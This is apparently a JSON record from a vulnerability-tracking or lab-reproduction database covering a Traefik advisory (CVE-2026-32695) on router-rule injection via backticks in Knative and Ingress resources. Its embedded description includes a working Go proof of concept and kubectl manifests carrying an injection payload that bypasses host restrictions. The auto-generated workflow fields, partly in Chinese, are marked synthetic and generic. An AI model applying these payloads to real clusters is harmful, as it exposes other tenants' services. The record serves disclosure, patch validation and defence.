200 行
19 KiB
JSON
200 行
19 KiB
JSON
{
|
|
"canonical_id": "traefik--CVE-2026-32695",
|
|
"system_id": "traefik",
|
|
"display_name": "Traefik",
|
|
"category": "servers",
|
|
"advisory_mode": "server",
|
|
"title": "Traefik has Knative Ingress Rule Injection that Allows Host Restriction Bypass",
|
|
"summary": "## Summary\n\nThere is a potential vulnerability in Traefik's Kubernetes Knative, Ingress, and Ingress-NGINX providers related to rule injection.\n\nUser-controlled values are interpolated into backtick-delimited Traefik router rule expressions without escaping or validation. A malicious value containing a backtick can terminate the literal and inject additional operators into Traefik's rule language, altering the parsed rule tree. In shared or multi-tenant deployments, this can bypass host and header routing constraints and redirect unauthorized traffic to victim services.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v3.6.11\n- https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2\n\n## For more information\n\nIf there are any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n<details>\n<summary>Original Description</summary>\n\n### Summary\nTraefik's Knative provider builds router rules by interpolating user-controlled values into backtick-delimited rule expressions without escaping. In live cluster validation, Knative `rules[].hosts[]` was exploitable for host restriction bypass (for example `tenant.example.com`) || Host(`attacker.com`), producing a router that serves attacker-controlled hosts. Knative `headers[].exact` also allows rule-syntax injection and proves unsafe rule construction. In multi-tenant clusters, this can route unauthorized traffic to victim services and lead to cross-tenant traffic exposure. Severity is High in shared deployments.\n\nTested on Traefik `v3.6.10`; the vulnerable pattern appears to have been present since the Knative provider was introduced. Earlier versions with Knative provider support are expected to be affected.\n\n### Details\nThe issue is caused by unsafe rule-string construction using `fmt.Sprintf` with backtick-delimited literals.\n\nIncriminated code patterns:\n\n- `pkg/provider/kubernetes/knative/kubernetes.go`\n - `fmt.Sprintf(\"Host(`%v`)\", host)`\n - `fmt.Sprintf(\"Header(`%s`,`%s`)\", key, headers[key].Exact)`\n - `fmt.Sprintf(\"PathPrefix(`%s`)\", path)`\n\n- `pkg/provider/kubernetes/ingress/kubernetes.go`\n - `fmt.Sprintf(\"Host(`%s`)\", host)`\n - `fmt.Sprintf(\"(Path(`%[1]s`) || PathPrefix(`%[1]s/`))\", path)`\n\n- `pkg/provider/kubernetes/ingress-nginx/kubernetes.go` (hardening candidate; not the primary confirmed vector in this report)\n - `fmt.Sprintf(\"Header(`%s`, `%s`)\", c.Header, c.HeaderValue)`\n - related host/path/header concatenations with backticks\n\nBecause inputs are inserted directly into rule expressions, a malicious value containing a backtick can terminate the literal and inject additional operators/tokens in Traefik's rule language. Example payload:\n\n- `x`) || Host(`attacker.com`\n\nWhen used as a header value in Knative rule construction, the resulting rule contains:\n\n- `Header(`X-Poc`,`x`) || Host(`attacker.com`)`\n\nThis alters rule semantics and enables injection into Traefik's rule language. Depending on the field used (`hosts[]` vs `headers[].exact`) this can become a direct routing bypass.\n\nImportant scope note:\n\n- Gateway API code path (`pkg/provider/kubernetes/gateway/httproute.go`) already uses safer `%q` formatting for header/query rules and is not affected by this exact pattern.\n- For standard Kubernetes Ingress, `spec.rules.host` is validated as DNS-1123 by the API server, which rejects backticks (so this specific host-injection payload is typically blocked).\n- For Knative Ingress, `rules[].hosts[]` and `headers[].exact` are typed as `string` in CRD schema with no pattern constraint.\n- In this validation environment, `rules[].hosts[]` was accepted and produced a practical host bypass. `headers[].exact` was also accepted and produced rule-syntax injection in generated routers.\n- Ingress-NGINX patterns are included as follow-up hardening targets and are not claimed as independently exploitable here.\n- Exploitability depends on admission/validation policy and who can create these resources.\n\n### PoC\n\n1. Local deterministic PoC (no cluster required):\n\n- Run:\n - Save the inline PoC below as `poc_build_rule.go`\n - Run `go run poc_build_rule.go`\n- Observe output:\n - Legitimate rule: `(Host(`tenant.example.com`)) && (Header(`X-API-Key`,`secret123`)) && PathPrefix(`/`)`\n - Malicious rule: `(Host(`tenant.example.com`)) && (Header(`X-API-Key`,`x`) || Host(`attacker.com`)) && PathPrefix(`/`)`\n- This proves syntax injection in current string-construction logic.\n\nInline PoC code (self-contained):\n\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"sort\"\n\t\"strings\"\n)\n\nfunc buildRuleKnative(hosts []string, headers map[string]struct{ Exact string }, path string) string {\n\tvar operands []string\n\n\tif len(hosts) > 0 {\n\t\tvar hostRules []string\n\t\tfor _, host := range hosts {\n\t\t\thostRules = append(hostRules, fmt.Sprintf(\"Host(`%v`)\", host))\n\t\t}\n\t\toperands = append(operands, fmt.Sprintf(\"(%s)\", strings.Join(hostRules, \" || \")))\n\t}\n\n\tif len(headers) > 0 {\n\t\theaderKeys := make([]string, 0, len(headers))\n\t\tfor k := range headers {\n\t\t\theaderKeys = append(headerKeys, k)\n\t\t}\n\t\tsort.Strings(headerKeys)\n\n\t\tvar headerRules []string\n\t\tfor _, key := range headerKeys {\n\t\t\theaderRules = append(headerRules, fmt.Sprintf(\"Header(`%s`,`%s`)\", key, headers[key].Exact))\n\t\t}\n\t\toperands = append(operands, fmt.Sprintf(\"(%s)\", strings.Join(headerRules, \" && \")))\n\t}\n\n\tif len(path) > 0 {\n\t\toperands = append(operands, fmt.Sprintf(\"PathPrefix(`%s`)\", path))\n\t}\n\n\treturn strings.Join(operands, \" && \")\n}\n\nfunc main() {\n\tlegitHeaders := map[string]struct{ Exact string }{\n\t\t\"X-API-Key\": {Exact: \"secret123\"},\n\t}\n\tfmt.Println(buildRuleKnative([]string{\"tenant.example.com\"}, legitHeaders, \"/\"))\n\n\tmaliciousHeaders := map[string]struct{ Exact string }{\n\t\t\"X-API-Key\": {Exact: \"x`) || Host(`attacker.com\"},\n\t}\n\tfmt.Println(buildRuleKnative([]string{\"tenant.example.com\"}, maliciousHeaders, \"/\"))\n\n\t// Safe variant example (Gateway-style):\n\tfmt.Println(fmt.Sprintf(\"Header(%q,%q)\", \"X-API-Key\", \"x`) || Host(`attacker.com\"))\n}\n```\n\n2. Cluster PoC (Knative host injection, primary / practical bypass):\n\n- Preconditions:\n - Kubernetes test cluster with Knative Serving.\n - Traefik configured with Knative provider.\n- Apply manifest:\n - `kubectl apply -f - <<'YAML'`\n```yaml\napiVersion: networking.internal.knative.dev/v1alpha1\nkind: Ingress\nmetadata:\n name: poc-host-injection\n namespace: default\n annotations:\n # This exact key worked in live validation:\n networking.knative.dev/ingress.class: \"traefik.ingress.networking.knative.dev\"\nspec:\n rules:\n - hosts:\n - 'tenant.example.com`) || Host(`attacker.com'\n visibility: External\n http:\n paths:\n - path: \"/\"\n splits:\n - percent: 100\n serviceName: dummy\n serviceNamespace: default\n servicePort: 80\nYAML\n```\n - (If API version mismatch, adjust between `networking.internal.knative.dev/v1alpha1` and `networking.knative.dev/v1alpha1`.)\n- Verify:\n - Check Traefik router rule contains: `(Host(`tenant.example.com`) || Host(`attacker.com`)) && PathPrefix(`/`)`.\n - Request with `Host: attacker.com` returns backend 200.\n - This demonstrates host restriction bypass in practice.\n\n3. Cluster PoC (Knative header injection, confirms rule-syntax injection):\n\n- Apply:\n - `kubectl apply -f - <<'YAML'`\n```yaml\napiVersion: networking.internal.knative.dev/v1alpha1\nkind: Ingress\nmetadata:\n name: poc-rule-injection\n namespace: default\n annotations:\n networking.knative.dev/ingress.class: \"traefik.ingress.networking.knative.dev\"\nspec:\n rules:\n - hosts:\n - \"tenant.example.com\"\n visibility: External\n http:\n paths:\n - path: \"/\"\n headers:\n X-Poc:\n exact: 'x`) || Host(`attacker.com'\n splits:\n - percent: 100\n serviceName: dummy\n serviceNamespace: default\n servicePort: 80\nYAML\n```\n- Verify:\n - Inspect generated Traefik dynamic router rule (API/dashboard/logs).\n - Confirm injected fragment `|| Host(`attacker.com`)` is present.\n - Send request with `Host: attacker.com` and no expected tenant header (expected: 404 for this payload shape, because leading `Host(tenant)` still applies).\n - Send request with `Host: tenant.example.com` and `X-Poc: x` (expected: 200 from backend).\n\n4. Optional Ingress PoC (scope check):\n\n- Apply:\n - `kubectl apply -f - <<'YAML'`\n```yaml\napiVersion: networking.k8s.io/v1\nkind: Ingress\nmetadata:\n name: poc-ingress-host-injection\n namespace: default\n annotations:\n kubernetes.io/ingress.class: traefik\nspec:\n rules:\n - host: 'tenant.example.com`) || Host(`attacker.com'\n http:\n paths:\n - path: /\n pathType: Prefix\n backend:\n service:\n name: dummy\n port:\n number: 80\nYAML\n```\n- Expected in most clusters: API server rejects this payload because Ingress `host` must satisfy DNS-1123.\n- Keep this step only as a negative control to demonstrate the distinction between native Ingress validation and Knative CRD behavior.\n\nValidation executed in this report:\n\n- Local deterministic PoC executed with `go run` and output matched expected injected rule.\n- Live cluster test executed on local `kind` cluster (`kind-traefik-poc`) with Traefik `v3.6.10` and Knative Serving CRDs.\n- Annotation key confirmed in this environment: `networking.knative.dev/ingress.class` (dot). The hyphen variant was not used by the successful processing path.\n- Traefik API/logs confirmed generated routers included injected expressions.\n- Live HTTP request with `Host: attacker.com` reached backend (`200`) for Knative host-injection payload.\n\n### Impact\n- **Vulnerability type:** Rule injection / authorization bypass at routing layer.\n- **Primary impact:** Bypass of intended routing predicates (host/header/path), enabling unauthorized routing to protected services.\n- **Who is impacted:** Primarily deployments using Traefik Knative provider where untrusted or semi-trusted actors can create/update Knative Ingress resources (typical in multi-tenant clusters, shared namespaces, or weak admission controls). Standard Kubernetes Ingress host injection is usually blocked by API validation.\n- **Security consequences:** Cross-tenant traffic access, internal service exposure, policy bypass, and potential chaining with app-level vulnerabilities.\n\n</details>",
|
|
"published_at": "2026-03-27T17:49:52Z",
|
|
"updated_at": "2026-03-27T18:03:26.283891Z",
|
|
"severity": "medium",
|
|
"cvss_score": 4.0,
|
|
"exploit_status": "unknown",
|
|
"source_confidence": "official",
|
|
"official_source_url": "https://github.com/traefik/traefik/security/advisories/GHSA-67jx-r9pv-98rj",
|
|
"secondary_source_urls": [
|
|
"https://nvd.nist.gov/vuln/detail/CVE-2026-32695",
|
|
"https://github.com/traefik/traefik/commit/11d251415a6fd935025df5a9dda898e17e3097b2",
|
|
"https://github.com/traefik/traefik",
|
|
"https://github.com/traefik/traefik/releases/tag/v3.6.11",
|
|
"https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2"
|
|
],
|
|
"aliases": [
|
|
"CVE-2026-32695",
|
|
"GHSA-67jx-r9pv-98rj"
|
|
],
|
|
"cve_ids": [
|
|
"CVE-2026-32695"
|
|
],
|
|
"ghsa_ids": [
|
|
"GHSA-67jx-r9pv-98rj"
|
|
],
|
|
"osv_ids": [
|
|
"GHSA-67jx-r9pv-98rj"
|
|
],
|
|
"affected_versions": [
|
|
"introduced=0, fixed<3.6.11",
|
|
"introduced=3.7.0-ea.1, fixed<3.7.0-ea.2",
|
|
"introduced=0, last_affected=2.11.42"
|
|
],
|
|
"fixed_versions": [
|
|
"3.6.11",
|
|
"3.7.0-ea.2"
|
|
],
|
|
"package_name": "github.com/traefik/traefik/v3",
|
|
"render_markdown": false,
|
|
"case_path": null,
|
|
"secure_code_topics": [
|
|
"proxy-trust-boundary",
|
|
"request-smuggling-boundary",
|
|
"token-cookie-storage",
|
|
"authz-server-side-recheck",
|
|
"dependency-upgrade-policy"
|
|
],
|
|
"status": "generated",
|
|
"triage_reasons": [],
|
|
"entity_refs": [
|
|
{
|
|
"entity_id": "traefik",
|
|
"entity_type": "system",
|
|
"relation": "root-system",
|
|
"root_system_id": "traefik",
|
|
"official": true
|
|
},
|
|
{
|
|
"entity_id": "traefik--repo--github-com-traefik-traefik-v3",
|
|
"entity_type": "repo",
|
|
"relation": "affected-component",
|
|
"root_system_id": "traefik",
|
|
"official": false
|
|
}
|
|
],
|
|
"affected_components": [
|
|
{
|
|
"name": "traefik / traefik / v3",
|
|
"entity_id": "traefik--repo--github-com-traefik-traefik-v3",
|
|
"scope": "repo",
|
|
"package_name": "github.com/traefik/traefik/v3",
|
|
"official": false
|
|
}
|
|
],
|
|
"affected_version_ranges": [
|
|
"introduced=0, fixed<3.6.11",
|
|
"introduced=3.7.0-ea.1, fixed<3.7.0-ea.2",
|
|
"introduced=0, last_affected=2.11.42"
|
|
],
|
|
"fixed_version_ranges": [
|
|
"3.6.11",
|
|
"3.7.0-ea.2"
|
|
],
|
|
"introduced_version": "introduced=0, last_affected=2.11.42",
|
|
"patched_version": "3.6.11",
|
|
"version_evidence_sources": [
|
|
"https://github.com/traefik/traefik/security/advisories/GHSA-67jx-r9pv-98rj",
|
|
"https://nvd.nist.gov/vuln/detail/CVE-2026-32695",
|
|
"https://github.com/traefik/traefik/commit/11d251415a6fd935025df5a9dda898e17e3097b2",
|
|
"https://github.com/traefik/traefik",
|
|
"https://github.com/traefik/traefik/releases/tag/v3.6.11",
|
|
"https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2"
|
|
],
|
|
"affected_version_refs": [
|
|
"traefik--repo--github-com-traefik-traefik-v3--introduced-0-fixed-3-6-11",
|
|
"traefik--repo--github-com-traefik-traefik-v3--introduced-3-7-0-ea-1-fixed-3-7-0-ea-2",
|
|
"traefik--repo--github-com-traefik-traefik-v3--introduced-0-last-affected-2-11-42"
|
|
],
|
|
"fixed_version_refs": [
|
|
"traefik--repo--github-com-traefik-traefik-v3--3-6-11",
|
|
"traefik--repo--github-com-traefik-traefik-v3--3-7-0-ea-2"
|
|
],
|
|
"patched_version_refs": [
|
|
"traefik--repo--github-com-traefik-traefik-v3--3-6-11"
|
|
],
|
|
"version_sync_confidence": "high",
|
|
"advisory_scope": "repo",
|
|
"version_confidence": "high",
|
|
"version_gap_reason": "",
|
|
"version_resolution_needed": false,
|
|
"workflow": {
|
|
"workflow_id": "traefik--CVE-2026-32695--workflow",
|
|
"vuln_family": "authz-bypass",
|
|
"entry_surface": "privileged-route-or-object-reference",
|
|
"preconditions": [
|
|
"\u4ec5\u5728 lab-local\u3001lab-public \u6216\u660e\u786e\u6388\u6743\u76ee\u6807\u4e2d\u6267\u884c\u3002",
|
|
"\u786e\u8ba4\u76ee\u6807\u547d\u4e2d\u7248\u672c\u65ad\u8a00: introduced=0, fixed<3.6.11, introduced=3.7.0-ea.1, fixed<3.7.0-ea.2, introduced=0, last_affected=2.11.42",
|
|
"\u82e5\u5bf9\u8c61\u5c5e\u4e8e `repo`\uff0c\u5148\u786e\u8ba4\u6269\u5c55/\u4ed3\u5e93/\u5305\u5df2\u542f\u7528\u5e76\u5904\u4e8e\u53d7\u5f71\u54cd\u7248\u672c\u3002"
|
|
],
|
|
"required_role": "cross-tenant-or-low-privileged-user",
|
|
"affected_version_assertion": [
|
|
"introduced=0, fixed<3.6.11",
|
|
"introduced=3.7.0-ea.1, fixed<3.7.0-ea.2",
|
|
"introduced=0, last_affected=2.11.42"
|
|
],
|
|
"trigger_vector": "\u5bf9 `authz-bypass` \u5bb6\u65cf\u5165\u53e3\u6295\u9012\u6700\u5c0f\u5316\u3001\u53ef\u5ba1\u8ba1\u3001\u53ef\u56de\u6eda\u7684\u53d7\u63a7\u8f93\u5165\uff0c\u6bd4\u8f83\u4fee\u590d\u524d\u540e\u5dee\u5f02\u3002",
|
|
"request_or_ui_path": [
|
|
"/admin/*",
|
|
"/api/private/*",
|
|
"/tenant/*"
|
|
],
|
|
"input_shape": "\u4f7f\u7528\u4f4e\u6743\u9650\u8eab\u4efd\u8bbf\u95ee\u9ad8\u6743\u9650\u5bf9\u8c61\u6216\u8de8\u79df\u6237\u8d44\u6e90\u3002",
|
|
"expected_unsafe_behavior": "\u4f4e\u6743\u9650\u8eab\u4efd\u53ef\u8bbf\u95ee\u672c\u4e0d\u5e94\u53ef\u89c1\u7684\u6570\u636e\u6216\u64cd\u4f5c\u3002",
|
|
"server_evidence_points": [
|
|
"\u5e94\u7528\u65e5\u5fd7\u4e2d\u7684\u547d\u4e2d\u8def\u5f84\u3001\u9274\u6743\u51b3\u7b56\u548c\u5f02\u5e38\u6808",
|
|
"\u53cd\u5411\u4ee3\u7406\u6216\u8fb9\u754c\u5c42\u65e5\u5fd7\u4e2d\u7684\u8bf7\u6c42\u5934\u3001\u6765\u6e90 IP \u4e0e\u8def\u7531\u51b3\u7b56"
|
|
],
|
|
"browser_evidence_points": [
|
|
"\u57fa\u7ebf\u622a\u56fe\u4e0e\u653b\u51fb\u540e\u622a\u56fe\u7684 DOM/\u89c6\u89c9\u5dee\u5f02",
|
|
"console\u3001network \u4e0e response metadata \u4e2d\u7684\u5f02\u5e38\u4fe1\u53f7"
|
|
],
|
|
"db_or_fs_evidence_points": [
|
|
"\u6570\u636e\u5e93\u4e2d\u65b0\u589e/\u8d8a\u6743\u8bfb\u53d6\u7684\u6d4b\u8bd5\u6570\u636e",
|
|
"\u6587\u4ef6\u7cfb\u7edf\u4e2d\u65b0\u589e\u4e0a\u4f20\u6837\u672c\u3001\u7f13\u5b58\u6761\u76ee\u6216\u8d8a\u6743\u8bfb\u53d6\u75d5\u8ff9"
|
|
],
|
|
"detection_signals": [
|
|
"WAF / reverse proxy \u5f02\u5e38\u65e5\u5fd7\u3001\u8bbf\u95ee\u65e5\u5fd7\u548c\u544a\u8b66",
|
|
"\u5e94\u7528\u5ba1\u8ba1\u65e5\u5fd7\u4e2d\u7684\u6743\u9650\u9519\u8bef\u3001\u91cd\u5b9a\u5411\u5f02\u5e38\u3001\u6a21\u677f\u6e32\u67d3\u6216\u4e0a\u4f20\u843d\u76d8\u4e8b\u4ef6"
|
|
],
|
|
"mitigation_summary": "\u4f18\u5148\u5347\u7ea7\u5230\u4fee\u590d\u7248\u672c\uff0c\u5e76\u540c\u65f6\u6536\u7d27\u8f93\u5165\u6821\u9a8c\u3001\u670d\u52a1\u7aef\u9274\u6743\u3001\u4ee3\u7406\u4fe1\u4efb\u8fb9\u754c\u3001\u6269\u5c55\u5b89\u88c5\u4fe1\u4efb\u548c\u5ba1\u8ba1\u65e5\u5fd7\u3002",
|
|
"patch_validation_steps": [
|
|
"\u786e\u8ba4\u76ee\u6807\u7248\u672c\u4ece `introduced=0, fixed<3.6.11, introduced=3.7.0-ea.1, fixed<3.7.0-ea.2, introduced=0, last_affected=2.11.42` \u5347\u7ea7\u6216\u56de\u79fb\u5230 `3.6.11`\u3002",
|
|
"\u4fdd\u7559\u540c\u4e00\u7ec4\u53d7\u63a7\u8f93\u5165\uff0c\u5728\u4fee\u590d\u524d\u540e\u5206\u522b\u6267\u884c\u5e76\u6bd4\u5bf9\u54cd\u5e94\u3001\u65e5\u5fd7\u4e0e\u6d4f\u89c8\u5668\u8bc1\u636e\u3002",
|
|
"\u786e\u8ba4\u4fee\u590d\u540e\u4ec5\u4fdd\u7559\u9884\u671f\u4e1a\u52a1\u884c\u4e3a\uff0c\u4e0d\u518d\u89e6\u53d1\u8d8a\u6743\u3001\u56de\u663e\u3001\u5f02\u5e38\u6e32\u67d3\u6216\u9519\u8bef\u8bf7\u6c42\u3002",
|
|
"\u8865\u5145 `authz-bypass` \u65cf\u81ea\u52a8\u5316\u56de\u5f52\uff0c\u907f\u514d\u540c\u7c7b\u8def\u5f84\u5728\u63d2\u4ef6\u3001\u4e3b\u9898\u6216\u4ee3\u7406\u94fe\u4e2d\u56de\u5f52\u3002"
|
|
],
|
|
"lab_safety_notes": [
|
|
"\u53ea\u4f7f\u7528\u56de\u73af\u5730\u5740\u3001\u54e8\u5175\u76ee\u6807\u3001\u65e0\u5bb3\u6837\u672c\u6216\u53ef\u56de\u6eda\u6d4b\u8bd5\u6570\u636e\u3002",
|
|
"\u7981\u6b62\u9020\u6210\u6301\u4e45\u7834\u574f\u3001\u8d8a\u6743\u4e0b\u8f7d\u771f\u5b9e\u6570\u636e\u6216\u4e0d\u53ef\u56de\u6eda side effect\u3002",
|
|
"\u5982\u9700\u6d4f\u89c8\u5668\u8bc1\u636e\uff0c\u4fdd\u7559 baseline / proof \u4e24\u4efd\u5feb\u7167\u4ee5\u53ca console / network \u8bb0\u5f55\u3002"
|
|
],
|
|
"review_state": "ready"
|
|
},
|
|
"verification_status": "triage-manual",
|
|
"verification_mode": "synthetic",
|
|
"last_verified_at": null,
|
|
"last_run_id": null,
|
|
"evidence_bundle": null,
|
|
"historical_status": null,
|
|
"latest_status": null,
|
|
"browser_evidence": {
|
|
"required": false,
|
|
"present": false,
|
|
"refs": []
|
|
},
|
|
"repro_profile_id": "authz-bypass-generic",
|
|
"artifact_mode": "synthetic",
|
|
"blocked_reason": null,
|
|
"metadata": {
|
|
"source_names": [
|
|
"OSV Traefik"
|
|
],
|
|
"source_kinds": [
|
|
"osv-batch"
|
|
],
|
|
"candidate_count": 1,
|
|
"entity_ref_count": 2,
|
|
"advisory_scope": "repo",
|
|
"version_confidence": "high",
|
|
"workflow_id": "traefik--CVE-2026-32695--workflow"
|
|
}
|
|
}
|